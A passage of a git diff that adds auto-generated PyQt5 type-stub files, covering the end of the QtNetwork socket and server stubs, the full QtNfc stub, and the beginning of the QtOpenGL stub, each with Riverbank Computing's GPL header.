maximumPreSharedKeyLength(self) -> int: ... + def preSharedKey(self) -> QtCore.QByteArray: ... + def setPreSharedKey(self, preSharedKey: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def maximumIdentityLength(self) -> int: ... + def identity(self) -> QtCore.QByteArray: ... + def setIdentity(self, identity: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def identityHint(self) -> QtCore.QByteArray: ... + def swap(self, authenticator: 'QSslPreSharedKeyAuthenticator') -> None: ... + + +class QTcpSocket(QAbstractSocket): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + +class QSslSocket(QTcpSocket): + + class PeerVerifyMode(int): + VerifyNone = ... # type: QSslSocket.PeerVerifyMode + QueryPeer = ... # type: QSslSocket.PeerVerifyMode + VerifyPeer = ... # type: QSslSocket.PeerVerifyMode + AutoVerifyPeer = ... # type: QSslSocket.PeerVerifyMode + + class SslMode(int): + UnencryptedMode = ... # type: QSslSocket.SslMode + SslClientMode = ... # type: QSslSocket.SslMode + SslServerMode = ... # type: QSslSocket.SslMode + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def newSessionTicketReceived(self) -> None: ... + def sslHandshakeErrors(self) -> typing.List[QSslError]: ... + def ocspResponses(self) -> typing.List[QOcspResponse]: ... + @staticmethod + def sslLibraryBuildVersionString() -> str: ... + @staticmethod + def sslLibraryBuildVersionNumber() -> int: ... + def sessionProtocol(self) -> QSsl.SslProtocol: ... + def localCertificateChain(self) -> typing.List[QSslCertificate]: ... + def setLocalCertificateChain(self, localChain: typing.Iterable[QSslCertificate]) -> None: ... + @staticmethod + def sslLibraryVersionString() -> str: ... + @staticmethod + def sslLibraryVersionNumber() -> int: ... + def disconnectFromHost(self) -> None: ... + def connectToHost(self, hostName: str, port: int, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ..., protocol: QAbstractSocket.NetworkLayerProtocol = ...) -> None: ... + def resume(self) -> None: ... + def setPeerVerifyName(self, hostName: str) -> None: ... + def peerVerifyName(self) -> str: ... + def socketOption(self, option: QAbstractSocket.SocketOption) -> typing.Any: ... + def setSocketOption(self, option: QAbstractSocket.SocketOption, value: typing.Any) -> None: ... + def encryptedBytesWritten(self, totalBytes: int) -> None: ... + def peerVerifyError(self, error: QSslError) -> None: ... + def setSslConfiguration(self, config: QSslConfiguration) -> None: ... + def sslConfiguration(self) -> QSslConfiguration: ... + def encryptedBytesToWrite(self) -> int: ... + def encryptedBytesAvailable(self) -> int: ... + def setReadBufferSize(self, size: int) -> None: ... + def setPeerVerifyDepth(self, depth: int) -> None: ... + def peerVerifyDepth(self) -> int: ... + def setPeerVerifyMode(self, mode: 'QSslSocket.PeerVerifyMode') -> None: ... + def peerVerifyMode(self) -> 'QSslSocket.PeerVerifyMode': ... + def writeData(self, data: bytes) -> int: ... + def readData(self, maxlen: int) -> bytes: ... + def preSharedKeyAuthenticationRequired(self, authenticator: QSslPreSharedKeyAuthenticator) -> None: ... + def modeChanged(self, newMode: 'QSslSocket.SslMode') -> None: ... + def encrypted(self) -> None: ... + @typing.overload + def ignoreSslErrors(self) -> None: ... + @typing.overload + def ignoreSslErrors(self, errors: typing.Iterable[QSslError]) -> None: ... + def startServerEncryption(self) -> None: ... + def startClientEncryption(self) -> None: ... + @staticmethod + def supportsSsl() -> bool: ... + @typing.overload + def sslErrors(self) -> typing.List[QSslError]: ... + @typing.overload + def sslErrors(self, errors: typing.Iterable[QSslError]) -> None: ... + def waitForDisconnected(self, msecs: int = ...) -> bool: ... + def waitForBytesWritten(self, msecs: int = ...) -> bool: ... + def waitForReadyRead(self, msecs: int = ...) -> bool: ... + def waitForEncrypted(self, msecs: int = ...) -> bool: ... + def waitForConnected(self, msecs: int = ...) -> bool: ... + @staticmethod + def systemCaCertificates() -> typing.List[QSslCertificate]: ... + @staticmethod + def defaultCaCertificates() -> typing.List[QSslCertificate]: ... + @staticmethod + def setDefaultCaCertificates(certificates: typing.Iterable[QSslCertificate]) -> None: ... + @staticmethod + def addDefaultCaCertificate(certificate: QSslCertificate) -> None: ... + @typing.overload + @staticmethod + def addDefaultCaCertificates(path: str, format: QSsl.EncodingFormat = ..., syntax: QtCore.QRegExp.PatternSyntax = ...) -> bool: ... + @typing.overload + @staticmethod + def addDefaultCaCertificates(certificates: typing.Iterable[QSslCertificate]) -> None: ... + def caCertificates(self) -> typing.List[QSslCertificate]: ... + def setCaCertificates(self, certificates: typing.Iterable[QSslCertificate]) -> None: ... + def addCaCertificate(self, certificate: QSslCertificate) -> None: ... + @typing.overload + def addCaCertificates(self, path: str, format: QSsl.EncodingFormat = ..., syntax: QtCore.QRegExp.PatternSyntax = ...) -> bool: ... + @typing.overload + def addCaCertificates(self, certificates: typing.Iterable[QSslCertificate]) -> None: ... + @staticmethod + def supportedCiphers() -> typing.List[QSslCipher]: ... + @staticmethod + def defaultCiphers() -> typing.List[QSslCipher]: ... + @staticmethod + def setDefaultCiphers(ciphers: typing.Iterable[QSslCipher]) -> None: ... + @typing.overload + def setCiphers(self, ciphers: typing.Iterable[QSslCipher]) -> None: ... + @typing.overload + def setCiphers(self, ciphers: str) -> None: ... + def ciphers(self) -> typing.List[QSslCipher]: ... + def privateKey(self) -> QSslKey: ... + @typing.overload + def setPrivateKey(self, key: QSslKey) -> None: ... + @typing.overload + def setPrivateKey(self, fileName: str, algorithm: QSsl.KeyAlgorithm = ..., format: QSsl.EncodingFormat = ..., passPhrase: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + def sessionCipher(self) -> QSslCipher: ... + def peerCertificateChain(self) -> typing.List[QSslCertificate]: ... + def peerCertificate(self) -> QSslCertificate: ... + def localCertificate(self) -> QSslCertificate: ... + @typing.overload + def setLocalCertificate(self, certificate: QSslCertificate) -> None: ... + @typing.overload + def setLocalCertificate(self, path: str, format: QSsl.EncodingFormat = ...) -> None: ... + def abort(self) -> None: ... + def flush(self) -> bool: ... + def atEnd(self) -> bool: ... + def close(self) -> None: ... + def canReadLine(self) -> bool: ... + def bytesToWrite(self) -> int: ... + def bytesAvailable(self) -> int: ... + def setProtocol(self, protocol: QSsl.SslProtocol) -> None: ... + def protocol(self) -> QSsl.SslProtocol: ... + def isEncrypted(self) -> bool: ... + def mode(self) -> 'QSslSocket.SslMode': ... + def setSocketDescriptor(self, socketDescriptor: PyQt5.sip.voidptr, state: QAbstractSocket.SocketState = ..., mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ...) -> bool: ... + @typing.overload + def connectToHostEncrypted(self, hostName: str, port: int, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ..., protocol: QAbstractSocket.NetworkLayerProtocol = ...) -> None: ... + @typing.overload + def connectToHostEncrypted(self, hostName: str, port: int, sslPeerName: str, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag] = ..., protocol: QAbstractSocket.NetworkLayerProtocol = ...) -> None: ... + + +class QTcpServer(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def acceptError(self, socketError: QAbstractSocket.SocketError) -> None: ... + def newConnection(self) -> None: ... + def addPendingConnection(self, socket: QTcpSocket) -> None: ... + def incomingConnection(self, handle: PyQt5.sip.voidptr) -> None: ... + def resumeAccepting(self) -> None: ... + def pauseAccepting(self) -> None: ... + def proxy(self) -> QNetworkProxy: ... + def setProxy(self, networkProxy: QNetworkProxy) -> None: ... + def errorString(self) -> str: ... + def serverError(self) -> QAbstractSocket.SocketError: ... + def nextPendingConnection(self) -> QTcpSocket: ... + def hasPendingConnections(self) -> bool: ... + def waitForNewConnection(self, msecs: int = ...) -> typing.Tuple[bool, bool]: ... + def setSocketDescriptor(self, socketDescriptor: PyQt5.sip.voidptr) -> bool: ... + def socketDescriptor(self) -> PyQt5.sip.voidptr: ... + def serverAddress(self) -> QHostAddress: ... + def serverPort(self) -> int: ... + def maxPendingConnections(self) -> int: ... + def setMaxPendingConnections(self, numConnections: int) -> None: ... + def isListening(self) -> bool: ... + def close(self) -> None: ... + def listen(self, address: typing.Union[QHostAddress, QHostAddress.SpecialAddress] = ..., port: int = ...) -> bool: ... + + +class QUdpSocket(QAbstractSocket): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def receiveDatagram(self, maxSize: int = ...) -> QNetworkDatagram: ... + def setMulticastInterface(self, iface: QNetworkInterface) -> None: ... + def multicastInterface(self) -> QNetworkInterface: ... + @typing.overload + def leaveMulticastGroup(self, groupAddress: typing.Union[QHostAddress, QHostAddress.SpecialAddress]) -> bool: ... + @typing.overload + def leaveMulticastGroup(self, groupAddress: typing.Union[QHostAddress, QHostAddress.SpecialAddress], iface: QNetworkInterface) -> bool: ... + @typing.overload + def joinMulticastGroup(self, groupAddress: typing.Union[QHostAddress, QHostAddress.SpecialAddress]) -> bool: ... + @typing.overload + def joinMulticastGroup(self, groupAddress: typing.Union[QHostAddress, QHostAddress.SpecialAddress], iface: QNetworkInterface) -> bool: ... + @typing.overload + def writeDatagram(self, data: bytes, host: typing.Union[QHostAddress, QHostAddress.SpecialAddress], port: int) -> int: ... + @typing.overload + def writeDatagram(self, datagram: typing.Union[QtCore.QByteArray, bytes, bytearray], host: typing.Union[QHostAddress, QHostAddress.SpecialAddress], port: int) -> int: ... + @typing.overload + def writeDatagram(self, datagram: QNetworkDatagram) -> int: ... + def readDatagram(self, maxlen: int) -> typing.Tuple[bytes, QHostAddress, int]: ... + def pendingDatagramSize(self) -> int: ... + def hasPendingDatagrams(self) -> bool: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtNfc.pyi b/OTHERS/Jarvis/ools/PyQt5/QtNfc.pyi new file mode 100644 index 00000000..8fdb2b22 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtNfc.pyi @@ -0,0 +1,435 @@ +# The PEP 484 type hints stub file for the QtNfc module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QNdefFilter(sip.simplewrapper): + + class Record(sip.simplewrapper): + + maximum = ... # type: int + minimum = ... # type: int + type = ... # type: typing.Union[QtCore.QByteArray, bytes, bytearray] + typeNameFormat = ... # type: 'QNdefRecord.TypeNameFormat' + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QNdefFilter.Record') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QNdefFilter') -> None: ... + + def recordAt(self, i: int) -> 'QNdefFilter.Record': ... + def __len__(self) -> int: ... + def recordCount(self) -> int: ... + @typing.overload + def appendRecord(self, typeNameFormat: 'QNdefRecord.TypeNameFormat', type: typing.Union[QtCore.QByteArray, bytes, bytearray], min: int = ..., max: int = ...) -> None: ... + @typing.overload + def appendRecord(self, record: 'QNdefFilter.Record') -> None: ... + def orderMatch(self) -> bool: ... + def setOrderMatch(self, on: bool) -> None: ... + def clear(self) -> None: ... + + +class QNdefMessage(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, record: 'QNdefRecord') -> None: ... + @typing.overload + def __init__(self, message: 'QNdefMessage') -> None: ... + @typing.overload + def __init__(self, records: typing.Iterable['QNdefRecord']) -> None: ... + + @staticmethod + def fromByteArray(message: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> 'QNdefMessage': ... + def __delitem__(self, i: int) -> None: ... + def __setitem__(self, i: int, value: 'QNdefRecord') -> None: ... + def __getitem__(self, i: int) -> 'QNdefRecord': ... + def __len__(self) -> int: ... + def toByteArray(self) -> QtCore.QByteArray: ... + + +class QNdefRecord(sip.simplewrapper): + + class TypeNameFormat(int): + Empty = ... # type: QNdefRecord.TypeNameFormat + NfcRtd = ... # type: QNdefRecord.TypeNameFormat + Mime = ... # type: QNdefRecord.TypeNameFormat + Uri = ... # type: QNdefRecord.TypeNameFormat + ExternalRtd = ... # type: QNdefRecord.TypeNameFormat + Unknown = ... # type: QNdefRecord.TypeNameFormat + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QNdefRecord') -> None: ... + + def __hash__(self) -> int: ... + def isEmpty(self) -> bool: ... + def payload(self) -> QtCore.QByteArray: ... + def setPayload(self, payload: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def id(self) -> QtCore.QByteArray: ... + def setId(self, id: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def type(self) -> QtCore.QByteArray: ... + def setType(self, type: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def typeNameFormat(self) -> 'QNdefRecord.TypeNameFormat': ... + def setTypeNameFormat(self, typeNameFormat: 'QNdefRecord.TypeNameFormat') -> None: ... + + +class QNdefNfcIconRecord(QNdefRecord): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: QNdefRecord) -> None: ... + @typing.overload + def __init__(self, a0: 'QNdefNfcIconRecord') -> None: ... + + def data(self) -> QtCore.QByteArray: ... + def setData(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + + +class QNdefNfcSmartPosterRecord(QNdefRecord): + + class Action(int): + UnspecifiedAction = ... # type: QNdefNfcSmartPosterRecord.Action + DoAction = ... # type: QNdefNfcSmartPosterRecord.Action + SaveAction = ... # type: QNdefNfcSmartPosterRecord.Action + EditAction = ... # type: QNdefNfcSmartPosterRecord.Action + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QNdefNfcSmartPosterRecord') -> None: ... + @typing.overload + def __init__(self, other: QNdefRecord) -> None: ... + + def setTypeInfo(self, type: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def typeInfo(self) -> QtCore.QByteArray: ... + def setSize(self, size: int) -> None: ... + def size(self) -> int: ... + def setIcons(self, icons: typing.Iterable[QNdefNfcIconRecord]) -> None: ... + @typing.overload + def removeIcon(self, icon: QNdefNfcIconRecord) -> bool: ... + @typing.overload + def removeIcon(self, type: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + @typing.overload + def addIcon(self, icon: QNdefNfcIconRecord) -> None: ... + @typing.overload + def addIcon(self, type: typing.Union[QtCore.QByteArray, bytes, bytearray], data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def iconRecords(self) -> typing.List[QNdefNfcIconRecord]: ... + def iconRecord(self, index: int) -> QNdefNfcIconRecord: ... + def icon(self, mimetype: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> QtCore.QByteArray: ... + def iconCount(self) -> int: ... + def setAction(self, act: 'QNdefNfcSmartPosterRecord.Action') -> None: ... + def action(self) -> 'QNdefNfcSmartPosterRecord.Action': ... + @typing.overload + def setUri(self, url: 'QNdefNfcUriRecord') -> None: ... + @typing.overload + def setUri(self, url: QtCore.QUrl) -> None: ... + def uriRecord(self) -> 'QNdefNfcUriRecord': ... + def uri(self) -> QtCore.QUrl: ... + def setTitles(self, titles: typing.Iterable['QNdefNfcTextRecord']) -> None: ... + @typing.overload + def removeTitle(self, text: 'QNdefNfcTextRecord') -> bool: ... + @typing.overload + def removeTitle(self, locale: str) -> bool: ... + @typing.overload + def addTitle(self, text: 'QNdefNfcTextRecord') -> bool: ... + @typing.overload + def addTitle(self, text: str, locale: str, encoding: 'QNdefNfcTextRecord.Encoding') -> bool: ... + def titleRecords(self) -> typing.List['QNdefNfcTextRecord']: ... + def titleRecord(self, index: int) -> 'QNdefNfcTextRecord': ... + def title(self, locale: str = ...) -> str: ... + def titleCount(self) -> int: ... + def hasTypeInfo(self) -> bool: ... + def hasSize(self) -> bool: ... + def hasIcon(self, mimetype: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> bool: ... + def hasAction(self) -> bool: ... + def hasTitle(self, locale: str = ...) -> bool: ... + def setPayload(self, payload: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + + +class QNdefNfcTextRecord(QNdefRecord): + + class Encoding(int): + Utf8 = ... # type: QNdefNfcTextRecord.Encoding + Utf16 = ... # type: QNdefNfcTextRecord.Encoding + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: QNdefRecord) -> None: ... + @typing.overload + def __init__(self, a0: 'QNdefNfcTextRecord') -> None: ... + + def setEncoding(self, encoding: 'QNdefNfcTextRecord.Encoding') -> None: ... + def encoding(self) -> 'QNdefNfcTextRecord.Encoding': ... + def setText(self, text: str) -> None: ... + def text(self) -> str: ... + def setLocale(self, locale: str) -> None: ... + def locale(self) -> str: ... + + +class QNdefNfcUriRecord(QNdefRecord): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: QNdefRecord) -> None: ... + @typing.overload + def __init__(self, a0: 'QNdefNfcUriRecord') -> None: ... + + def setUri(self, uri: QtCore.QUrl) -> None: ... + def uri(self) -> QtCore.QUrl: ... + + +class QNearFieldManager(QtCore.QObject): + + class AdapterState(int): + Offline = ... # type: QNearFieldManager.AdapterState + TurningOn = ... # type: QNearFieldManager.AdapterState + Online = ... # type: QNearFieldManager.AdapterState + TurningOff = ... # type: QNearFieldManager.AdapterState + + class TargetAccessMode(int): + NoTargetAccess = ... # type: QNearFieldManager.TargetAccessMode + NdefReadTargetAccess = ... # type: QNearFieldManager.TargetAccessMode + NdefWriteTargetAccess = ... # type: QNearFieldManager.TargetAccessMode + TagTypeSpecificTargetAccess = ... # type: QNearFieldManager.TargetAccessMode + + class TargetAccessModes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QNearFieldManager.TargetAccessModes', 'QNearFieldManager.TargetAccessMode']) -> None: ... + @typing.overload + def __init__(self, a0: 'QNearFieldManager.TargetAccessModes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QNearFieldManager.TargetAccessModes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def adapterStateChanged(self, state: 'QNearFieldManager.AdapterState') -> None: ... + def isSupported(self) -> bool: ... + def targetLost(self, target: 'QNearFieldTarget') -> None: ... + def targetDetected(self, target: 'QNearFieldTarget') -> None: ... + def unregisterNdefMessageHandler(self, handlerId: int) -> bool: ... + @typing.overload + def registerNdefMessageHandler(self, slot: PYQT_SLOT) -> int: ... + @typing.overload + def registerNdefMessageHandler(self, typeNameFormat: QNdefRecord.TypeNameFormat, type: typing.Union[QtCore.QByteArray, bytes, bytearray], slot: PYQT_SLOT) -> int: ... + @typing.overload + def registerNdefMessageHandler(self, filter: QNdefFilter, slot: PYQT_SLOT) -> int: ... + def stopTargetDetection(self) -> None: ... + def startTargetDetection(self) -> bool: ... + def targetAccessModes(self) -> 'QNearFieldManager.TargetAccessModes': ... + def setTargetAccessModes(self, accessModes: typing.Union['QNearFieldManager.TargetAccessModes', 'QNearFieldManager.TargetAccessMode']) -> None: ... + def isAvailable(self) -> bool: ... + + +class QNearFieldShareManager(QtCore.QObject): + + class ShareMode(int): + NoShare = ... # type: QNearFieldShareManager.ShareMode + NdefShare = ... # type: QNearFieldShareManager.ShareMode + FileShare = ... # type: QNearFieldShareManager.ShareMode + + class ShareError(int): + NoError = ... # type: QNearFieldShareManager.ShareError + UnknownError = ... # type: QNearFieldShareManager.ShareError + InvalidShareContentError = ... # type: QNearFieldShareManager.ShareError + ShareCanceledError = ... # type: QNearFieldShareManager.ShareError + ShareInterruptedError = ... # type: QNearFieldShareManager.ShareError + ShareRejectedError = ... # type: QNearFieldShareManager.ShareError + UnsupportedShareModeError = ... # type: QNearFieldShareManager.ShareError + ShareAlreadyInProgressError = ... # type: QNearFieldShareManager.ShareError + SharePermissionDeniedError = ... # type: QNearFieldShareManager.ShareError + + class ShareModes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QNearFieldShareManager.ShareModes', 'QNearFieldShareManager.ShareMode']) -> None: ... + @typing.overload + def __init__(self, a0: 'QNearFieldShareManager.ShareModes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QNearFieldShareManager.ShareModes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def error(self, error: 'QNearFieldShareManager.ShareError') -> None: ... + def shareModesChanged(self, modes: typing.Union['QNearFieldShareManager.ShareModes', 'QNearFieldShareManager.ShareMode']) -> None: ... + def targetDetected(self, shareTarget: 'QNearFieldShareTarget') -> None: ... + def shareError(self) -> 'QNearFieldShareManager.ShareError': ... + def shareModes(self) -> 'QNearFieldShareManager.ShareModes': ... + def setShareModes(self, modes: typing.Union['QNearFieldShareManager.ShareModes', 'QNearFieldShareManager.ShareMode']) -> None: ... + @staticmethod + def supportedShareModes() -> 'QNearFieldShareManager.ShareModes': ... + + +class QNearFieldShareTarget(QtCore.QObject): + + def shareFinished(self) -> None: ... + def error(self, error: QNearFieldShareManager.ShareError) -> None: ... + def shareError(self) -> QNearFieldShareManager.ShareError: ... + def isShareInProgress(self) -> bool: ... + def cancel(self) -> None: ... + @typing.overload + def share(self, message: QNdefMessage) -> bool: ... + @typing.overload + def share(self, files: typing.Iterable[QtCore.QFileInfo]) -> bool: ... + def shareModes(self) -> QNearFieldShareManager.ShareModes: ... + + +class QNearFieldTarget(QtCore.QObject): + + class Error(int): + NoError = ... # type: QNearFieldTarget.Error + UnknownError = ... # type: QNearFieldTarget.Error + UnsupportedError = ... # type: QNearFieldTarget.Error + TargetOutOfRangeError = ... # type: QNearFieldTarget.Error + NoResponseError = ... # type: QNearFieldTarget.Error + ChecksumMismatchError = ... # type: QNearFieldTarget.Error + InvalidParametersError = ... # type: QNearFieldTarget.Error + NdefReadError = ... # type: QNearFieldTarget.Error + NdefWriteError = ... # type: QNearFieldTarget.Error + CommandError = ... # type: QNearFieldTarget.Error + + class AccessMethod(int): + UnknownAccess = ... # type: QNearFieldTarget.AccessMethod + NdefAccess = ... # type: QNearFieldTarget.AccessMethod + TagTypeSpecificAccess = ... # type: QNearFieldTarget.AccessMethod + LlcpAccess = ... # type: QNearFieldTarget.AccessMethod + + class Type(int): + ProprietaryTag = ... # type: QNearFieldTarget.Type + NfcTagType1 = ... # type: QNearFieldTarget.Type + NfcTagType2 = ... # type: QNearFieldTarget.Type + NfcTagType3 = ... # type: QNearFieldTarget.Type + NfcTagType4 = ... # type: QNearFieldTarget.Type + MifareTag = ... # type: QNearFieldTarget.Type + + class AccessMethods(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QNearFieldTarget.AccessMethods', 'QNearFieldTarget.AccessMethod']) -> None: ... + @typing.overload + def __init__(self, a0: 'QNearFieldTarget.AccessMethods') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QNearFieldTarget.AccessMethods': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class RequestId(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QNearFieldTarget.RequestId') -> None: ... + + def refCount(self) -> int: ... + def isValid(self) -> bool: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def maxCommandLength(self) -> int: ... + def disconnect(self) -> bool: ... + def setKeepConnection(self, isPersistent: bool) -> bool: ... + def keepConnection(self) -> bool: ... + def error(self, error: 'QNearFieldTarget.Error', id: 'QNearFieldTarget.RequestId') -> None: ... + def requestCompleted(self, id: 'QNearFieldTarget.RequestId') -> None: ... + def ndefMessagesWritten(self) -> None: ... + def ndefMessageRead(self, message: QNdefMessage) -> None: ... + def disconnected(self) -> None: ... + def reportError(self, error: 'QNearFieldTarget.Error', id: 'QNearFieldTarget.RequestId') -> None: ... + def handleResponse(self, id: 'QNearFieldTarget.RequestId', response: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + def setResponseForRequest(self, id: 'QNearFieldTarget.RequestId', response: typing.Any, emitRequestCompleted: bool = ...) -> None: ... + def requestResponse(self, id: 'QNearFieldTarget.RequestId') -> typing.Any: ... + def waitForRequestCompleted(self, id: 'QNearFieldTarget.RequestId', msecs: int = ...) -> bool: ... + def sendCommands(self, commands: typing.Iterable[typing.Union[QtCore.QByteArray, bytes, bytearray]]) -> 'QNearFieldTarget.RequestId': ... + def sendCommand(self, command: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> 'QNearFieldTarget.RequestId': ... + def writeNdefMessages(self, messages: typing.Iterable[QNdefMessage]) -> 'QNearFieldTarget.RequestId': ... + def readNdefMessages(self) -> 'QNearFieldTarget.RequestId': ... + def hasNdefMessage(self) -> bool: ... + def isProcessingCommand(self) -> bool: ... + def accessMethods(self) -> 'QNearFieldTarget.AccessMethods': ... + def type(self) -> 'QNearFieldTarget.Type': ... + def url(self) -> QtCore.QUrl: ... + def uid(self) -> QtCore.QByteArray: ... + + +class QQmlNdefRecord(QtCore.QObject): + + class TypeNameFormat(int): + Empty = ... # type: QQmlNdefRecord.TypeNameFormat + NfcRtd = ... # type: QQmlNdefRecord.TypeNameFormat + Mime = ... # type: QQmlNdefRecord.TypeNameFormat + Uri = ... # type: QQmlNdefRecord.TypeNameFormat + ExternalRtd = ... # type: QQmlNdefRecord.TypeNameFormat + Unknown = ... # type: QQmlNdefRecord.TypeNameFormat + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, record: QNdefRecord, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def recordChanged(self) -> None: ... + def typeNameFormatChanged(self) -> None: ... + def typeChanged(self) -> None: ... + def setRecord(self, record: QNdefRecord) -> None: ... + def record(self) -> QNdefRecord: ... + def typeNameFormat(self) -> 'QQmlNdefRecord.TypeNameFormat': ... + def setTypeNameFormat(self, typeNameFormat: 'QQmlNdefRecord.TypeNameFormat') -> None: ... + def setType(self, t: str) -> None: ... + def type(self) -> str: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtOpenGL.pyi b/OTHERS/Jarvis/ools/PyQt5/QtOpenGL.pyi new file mode 100644 index 00000000..1ad48724 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtOpenGL.pyi @@ -0,0 +1,334 @@ +# The PEP 484 type hints stub file for the QtOpenGL module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets +from PyQt5 import QtGui +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QGL(PyQt5.sip.simplewrapper): + + class FormatOption(int): + DoubleBuffer = ... # type: QGL.FormatOption + DepthBuffer = ... # type: QGL.FormatOption + Rgba = ... # type: QGL.FormatOption + AlphaChannel = ... # type: QGL.FormatOption + AccumBuffer = ... # type: QGL.FormatOption + StencilBuffer = ... # type: QGL.FormatOption + StereoBuffers = ... # type: QGL.FormatOption + DirectRendering = ... # type: QGL.FormatOption + HasOverlay = ... # type: QGL.FormatOption + SampleBuffers = ... # type: QGL.FormatOption + SingleBuffer = ... # type: QGL.FormatOption + NoDepthBuffer = ... # type: QGL.FormatOption + ColorIndex = ... # type: QGL.FormatOption + NoAlphaChannel = ... # type: QGL.FormatOption + NoAccumBuffer = ... # type: QGL.FormatOption + NoStencilBuffer = ... # type: QGL.FormatOption + NoStereoBuffers = ... # type: QGL.FormatOption + IndirectRendering = ... # type: QGL.FormatOption + NoOverlay = ... # type: QGL.FormatOption + 